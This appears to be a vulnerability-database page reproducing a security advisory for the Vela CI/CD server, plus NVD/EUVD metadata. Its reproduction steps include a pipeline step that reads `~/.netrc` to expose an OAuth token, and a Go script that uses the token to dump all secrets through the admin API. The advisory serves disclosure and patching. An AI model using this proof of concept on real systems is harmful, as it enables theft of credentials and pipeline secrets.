Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.
Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.
Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.
### Impact
_What kind of vulnerability is it? Who is impacted?_
The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Steps to reproduce
1. Create Vela server
2. Login to Vela UI
3. Promote yourself to Vela administrator
- `UPDATE users SET admin = 't' WHERE name = <username>`
4. Activate repository within Vela
5. Add `.vela.yml` to the repository with the following content
```yaml
version: "1"
steps:
- name: steal
image: alpine
commands:
- cat ~/.netrc
```
1. Look at build logs to find the following content
```
$ cat ~/.netrc
machine <GITHUB URL>
login x-oauth-basic
password <token>
```
1. Copy the password to be utilized in some later step
1. Add secret(s) to activated repo
1. Copy the following script into `main.go`
```golang
package main
import (
"fmt"
"github.com/go-vela/sdk-go/vela"
"os"
)
func main() {
// create client to connect to vela
client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil)
if err != nil {
panic(err)
}
// add PAT to request
client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN"))
secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})
if err != nil {
panic(err)
}
for _, secret := range *secrets {
fmt.Println(*secret.Name)
fmt.Println(*secret.Value)
}
}
```
1. Run the `main.go` with environment specific settings
- `VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go`
The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.
### Patches
_Has the problem been patched? What versions should users upgrade to?_
* Upgrade to `v0.7.5` or later
### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
* No known workarounds
### References
_Are there any links users can visit to find out more?_
* https://github.com/go-vela/server/pull/246
* https://docs.github.com/en/[email protected]/rest/reference/apps#check-a-token
### For more information
If you have any questions or comments about this advisory
* Email us at [[email protected]](mailto:[email protected])
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Apr 9, 2021, 6:10:14 PM
dateUpdated: Aug 3, 2024, 6:16:22 PM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Modified
Weakness classifications: CWE-285 · CWE-862
Original publisher date fields
published: 2021-04-09T18:15:13.583
lastModified: 2026-06-17T03:35:33.890
1 source CPE criteria · context only
cpe:2.3:a:go-vela:vela:*:*:*:*:*:*:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.